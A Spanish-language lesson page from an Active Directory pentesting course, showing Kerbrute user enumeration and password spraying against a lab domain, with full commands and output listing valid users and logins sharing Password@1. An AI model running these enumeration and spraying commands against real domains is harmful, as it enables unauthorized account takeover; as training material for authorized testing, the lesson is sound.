Hacking en Active Directory - [CPAD-100]
Comprar cursoYouTubeTwitterLinkedIn
  • La Biblia del Hacking en ACTIVE DIRECTORY
    • ADVERTENCIA
    • Conoce a tu academia
    • Conoce a tu instructor
    • Aprende con nuestro curso
      • ¿Que Significa CPAD-100?
  • Introducción a Directorio Activo – (AD)
    • Fundamentos de AD
    • Componentes importantes de un Active Directory
    • Principales conceptos de un Directorio Activo
      • Diferencias entre GPO y ACL
    • ¿Por qué los atacantes van tras los controladores de dominio?
      • Ransomware en AD
    • Introduccion a Kerberos
      • Capa de transporte
      • Agentes
      • Claves de cifrado
      • Tickets
      • Privilege Attribute Certificate (PAC)
      • Mensajes
    • Proceso de autenticación en Kerberos
      • Kerberos Explicado con Parques y Atracciones
    • ¿Como funciona Kerberos?
    • S4U (Service for User)
    • Usuarios y grupo por defectos en AD
    • Biblia de comandos para el CPAD
  • Fundamentos Ofensivos
    • Introduccion al Curso Profesional de Pentesting para Juniors - [CPPJ]
    • ¿Qué es un Red Team?
      • Assume breach
    • ¿Qué es un Pentesting?
    • Instalacion de Kali Linux
      • Utilizando IP publica para auditorias reales
    • Transferencias de archivos
    • Cyber Kill Chain
    • MITRE
      • Ejemplo teorico
  • Enumeracion Externa
    • Credenciales expuestas
    • La importancia de la enumeracion en un red team
    • Reconocimiento y Recopilacion
    • Activos de informacion publicos
      • DNS records
      • Redes sociales
  • Vectores de ataque fisico
    • Physical Red Team Operations
    • Que es la intrusion fisica
      • Vectores de ataque
    • Rubber Ducky
    • Stuxnet
    • Introduccion a Flipper Zero
      • BadUSB
  • Introduccion Al Hacking Web
    • Tu primer Red Team contra Active Directory
      • Objetivos
      • CyberKillChain en CPAD
    • La importancia del hacking web en un red team contra AD
    • Curso gratuito con los labs de PortSwigger
    • Enumeracion sobre un servidor web desplegado en IIS
    • Inyeccion de comandos desde un formulario web
  • Post-explotacion en windows
    • Fundamentos de la Enumeracion local en un Windows
    • Enumeracion basica desde una WebShell
    • Fundamentos de escalacion de privilegios en Windows
      • ¿Que son altos privilegios en windows?
      • ¿Que son bajos privilegios en windows?
      • Identificando mis privilegios actuales
      • Tokens de acceso en Windows
      • Niveles de integridad en procesos de Windows
    • Privilegios en Windows
    • Abusando de los privilegios SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege
    • Introduccion al Curso Profesional de Pentesting contra Windows - [CPPW]
    • NT AUTHORITY\SYSTEM
    • Reverse Shell en PowerShell Indetectable
      • Introduccion al Curso RedTeam Ops Developer Senior
    • Migracion de WebShell a BurpSuite
    • Migracion de WebShell a Reverse Shell via PowerShell
    • Diferencia entre una WebShell y Reverse Shell
    • Introducción a PowerUp
    • Introducción a WinPEAS
  • Persistencia en Windows Local
    • Introduccion a la post-explotación y persistencia en Windows
    • Creacion de usuarios con net
    • Qué es Mimikatz
      • LSASS
      • Extraccion de credenciales con Mimikatz con binario
      • Extraccion de credenciales con Mimikatz con PowerShell
      • Resolucion de errores con Mimikatz
      • Mimikatz en la actualidad
  • Enumeracion en AD
    • Identificando un Domain Controller (DC) en red
    • ActiveDirectoryRights en el Contexto de Red Team
    • Enumeracion manual con GUI
    • Enumeracion con PowerShell ofensivo
      • Guia de comandos de PowerView.ps1
        • Enumeracion de usuarios
        • Enumeracion de Grupos
        • Enumeracion de Computadores
        • Enumeracion de GPO
        • Enumeracion de ACL
      • Utilizando ADPeas
    • Enumeracion con AD Module DLL
    • Enumeracion con BloodHound
    • Enumeracion con klist
    • Security Identifiers (SIDs)
    • Distinguished Name o DN
  • Vulnerabilidades y ataques en AD
    • Fundamentos de vulnerabilidades en AD
    • Password Spraying
      • La importancia de generar contraseñas personalizadas
      • Kerbrute
    • Relay Attacks
      • ¿Que es NTLM?
      • Utilizando impacket-ntlmrelayx
        • Análisis de impacket-ntlmrelayx
    • Credenciales en descripcion
      • Utilizando CrackMapExec
      • Utilizando BloodHound
    • Kerberoasting
      • Utilizando BloodHound
      • Utilizando Rubeus
      • Utilizando Impacket-GetUserSPNs
      • Utilizando CrackMapExec
      • Utilizando PowerView
    • ASREProastable
      • Utilizando Rubeus
      • Utilizando CrackMapExec
      • Utilizando Impacket-GetNPUsers
      • CVE-2022-33679
    • Unconstrained Delegation
      • TrustedToAuthForDelegation vs TrustedForDelegation
    • Constrained Delegation
      • Usuario
      • Computadora
        • Utilizando Rubeus
    • DnsAdmins
      • Utilizando PowerView.ps1
      • Utilizando NET
      • Cargando una dll maliciosa con dnscmd
      • Generando una DLL maliciosa
    • LAPS Reader
    • (RBCD) Resource-based constrained
    • Abuso de ACL
      • Enumeracion con PowerView
      • Tipos de permisos
        • Tabla de Referencia de Permisos y Derechos en Active Directory
      • Access Control Entry (ACE)
      • WriteDacl sobre Computador
      • GenericAll sobre Grupo
      • GenericAll sobre usuario
      • GenericWrite sobre computador
    • Abuso de GPO
      • ¿Qué es SysVol?
      • Utilizando PowerView
      • Solicitando TGT para el usuario gpowrite.user
      • Utilizando SharpGPOAbuse
      • Forzando la actualizacion de GPO
    • Zerologon - CVE-2020-1472
  • Movimiento lateral
    • Fundamentos de movimiento lateral en AD
    • Impersonation
    • Pass-the-Hash (PtH)
      • Identificando servicios para realizar el PTH
      • Utilizando Evil-WinRm
      • Utilizando impacket-psexec
      • Utilizando RDP
  • Persistencia y post-explotacion en AD
    • Fundamentos de persistencia y la post-explotación en AD
    • DCSync
      • Extracción de Credenciales del Dominio de Active Directory
      • Utilizando CrackMapExec
      • Utilizando Mimikatz
      • Utilizando Impacket-secretsdump
    • Creacion de usuarios en el dominio con net
    • Silver Ticket
      • Service Principal Name (SPN)
      • Silver Ticket para CIFS
    • Golden Ticket
      • Diferencias entre Silver Ticket y Golden Ticket
      • ¿Que es KRBTGT?
      • Variantes del Golden Ticket
        • Golden Ticket tradicional utilizando Mimikatz
        • Golden Ticket Inter-realm TGT
    • Pass The Ticket
      • PTT en Linux
      • PTT en Windows
    • Diamond Ticket
    • Bosques y relaciones de confianza
      • TrustAttributes y TrustType
      • Enumeracion utilizando ADPeas.ps1
      • Enumeracion utilizando nltest
      • Enumeracion utilizando .NET Framework
      • Enumeracion utilizando con PowerView
      • Enumerando con SharpHound
  • Introduccion a la evasion de defensas
    • Fundamentos de evasión de defensas
    • Introduccion a UAC
      • Bypass UAC utilizando FodhelperUACBypass.ps1
      • Bypass utilizando Kerberos y SMBExec
    • Evasión de antivirus
      • Utilizando HoaxShell
    • Introduccion a LOLBAS
    • AMSI para Hackers
    • Utilizando IP publicas y dominios confiables para el almacenamiento de herramientas
    • Codificando tus comandos de PowerShell en base64
      • Transferencia de archivos con base64
    • Política de ejecución de PowerShell
    • Introduccion a Sysinternals
    • Introduccion a AppLocker
    • Apagando defensas basicas
  • Introduccion a ataques modernos en AD
    • Fundamentos de Azure Active Directory
    • DCSync utilizando MSOL
    • Introduccion al Curso de Pentesting Contra Azure - [CPAZ]
  • Introduccion al Blue Team en Active Directory
    • Blue Team y SOC
    • Introduccion al Curso Profesional de Blue Team - [CPBLT]
    • Introduccion a Sysmon
      • Deteccion de comportamiento anomalo con ElasticSearch
  • Muchas Gracias
    • 🛡️ ¡Muchísimas Gracias por Participar! 🛡️
    • Importante
Con tecnología de GitBook
En esta página
  • ¿Qué es Kerberos?
  • Funcionamiento de Kerbrute
  • Técnicas de Enumeración
  • Identificando usuarios validos
  • Realizando un password spraying con usuarios validos
  • Consideraciones de Seguridad y Uso Ético

¿Te fue útil?

  1. Vulnerabilidades y ataques en AD
  2. Password Spraying

Kerbrute

AnteriorLa importancia de generar contraseñas personalizadasSiguienteRelay Attacks

Última actualización hace 9 meses

¿Te fue útil?

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: . ¡Te esperamos para empezar este viaje juntos!

OBJETIVO DEL EJERCICIO #13:

Utilizakerbrutepara enumerar usuarios validos y realizar un password spraying. Para realizarlo es suficiente tener encendido UNICAMENTE WEBSERVER y First-DC.

Kerbrute es una herramienta de seguridad informática diseñada para realizar ataques de fuerza bruta y enumeración contra el protocolo de autenticación Kerberos en entornos de Active Directory (AD). Fue desarrollada para ayudar en la evaluación de seguridad de redes AD, identificando cuentas de usuario válidas y posiblemente contraseñas débiles.

¿Qué es Kerberos?

Funcionamiento de Kerbrute

Kerbrute realiza su funcionalidad principalmente a través de dos métodos: ataques de fuerza bruta y enumeración de usuarios. Aquí te detallo cómo funciona cada uno:

  1. Ataques de Fuerza Bruta:

    • Kerbrute puede probar combinaciones de nombres de usuario y contraseñas para intentar autenticarse contra un dominio de AD utilizando Kerberos.

    • La herramienta intenta autenticarse con diferentes contraseñas para cada cuenta de usuario, lo que puede revelar contraseñas débiles o comunes.

  2. Enumeración de Usuarios:

    • Kerbrute también puede realizar la enumeración de usuarios. En este modo, la herramienta intenta autenticarse utilizando nombres de usuario válidos con contraseñas incorrectas.

    • Kerberos, en algunos casos, responderá de manera diferente a una solicitud de autenticación si el nombre de usuario es válido, incluso si la contraseña es incorrecta. Esto puede permitir a Kerbrute identificar cuentas de usuario válidas sin conocer la contraseña.

Técnicas de Enumeración

Identificando usuarios validos

Se recomienda la siguiente herramienta para encontrar usuarios de compañias:

Para CTFs y examenes de certificaciones ofensivas, se recomienda:

  • Respuestas Diferenciadas: Kerberos puede devolver errores distintos si el nombre de usuario es válido o no, lo que permite a Kerbrute distinguir entre cuentas existentes y no existentes.

  • Uso de Listas de Nombres de Usuario: Kerbrute puede trabajar con listas de nombres de usuario posibles para realizar la enumeración, probando cada uno contra el servidor de AD.

┌──(root㉿kali)-[/home/kali]
└─#  ./kerbrute_linux_amd64 userenum --dc 10.0.1.100 -d spartancybersec.corp ./users

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 11/13/23 - Ronnie Flathers @ropnop

2023/11/13 03:27:21 >  Using KDC(s):
2023/11/13 03:27:21 >   10.0.1.100:88

2023/11/13 03:27:21 >  [+] VALID USERNAME:       gpowrite.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       compwrite.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       groupwrite.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       constrained.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       dnsadmin.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       regular.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       writedacldc.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       userwrite.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       unconstrained.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       lapsread.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       userall.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       clearpass.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       readgmsa.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       roast.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       AdminWebServer@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       asrep.user@spartancybersec.corp

Realizando un password spraying con usuarios validos

Teniendo en cuenta que localizamos una contraseña utilizada en un usuario en Credenciales en descripcion vamos a realizar un password Spraying contra todos los usuarios:

┌──(root㉿kali)-[/home/kali]
└─# ./kerbrute_linux_amd64 passwordspray --dc 3.149.246.12 -d spartancybersec.corp ./users.txt Password@1

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 11/13/23 - Ronnie Flathers @ropnop

2023/11/13 20:10:28 >  Using KDC(s):
2023/11/13 20:10:28 >  	3.149.246.12:88

2023/11/13 20:10:29 >  [+] VALID LOGIN:	 constrained.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 unconstrained.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 groupwrite.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 lapsread.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 compwrite.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 dnsadmin.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 regular.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 userall.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 userwrite.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 gpowrite.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 asrep.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 clearpass.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 readgmsa.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 writedacldc.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 AdminWebServer@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 roast.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  Done! Tested 16 logins (16 successes) in 0.696 seconds

Consideraciones de Seguridad y Uso Ético

  • Detección y Bloqueo: Los intentos de autenticación fallidos pueden ser detectados y resultar en el bloqueo de cuentas, lo que puede causar problemas en una red de producción. Por eso, el uso de Kerbrute debe hacerse con cuidado y solo en entornos controlados o autorizados.

  • Uso Ético: Kerbrute es una herramienta poderosa que debe utilizarse exclusivamente para pruebas de penetración autorizadas o evaluaciones de seguridad, no para actividades maliciosas.

Antes de entrar en detalle sobre Kerbrute, es importante .

entender qué es Kerberos
https://wa.link/ej3kiu
GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcingGitHub
Find email addresses in seconds • Hunter (Email Hunter)Hunter
https://github.com/danielmiessler/SecLists/blob/master/Usernames/xato-net-10-million-usernames.txt
Logo
Logo